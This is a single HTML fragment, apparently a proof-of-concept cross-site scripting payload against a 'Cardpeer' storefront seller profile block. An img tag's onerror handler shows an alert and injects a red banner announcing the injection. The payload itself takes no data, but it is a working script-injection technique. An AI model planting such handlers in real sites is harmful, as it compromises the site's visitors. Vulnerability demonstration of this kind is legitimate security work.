<img src=x onerror="alert('XSS: Cardpeer storefront profile block');var d=document.createElement('div');d.textContent='XSS PROOF - this red banner was injected by a seller profile block';d.style='position:fixed;top:0;left:0;right:0;z-index:2147483647;background:#c00;color:#fff;padding:14px;font:16px/1.4 sans-serif;text-align:center';document.body.appendChild(d)">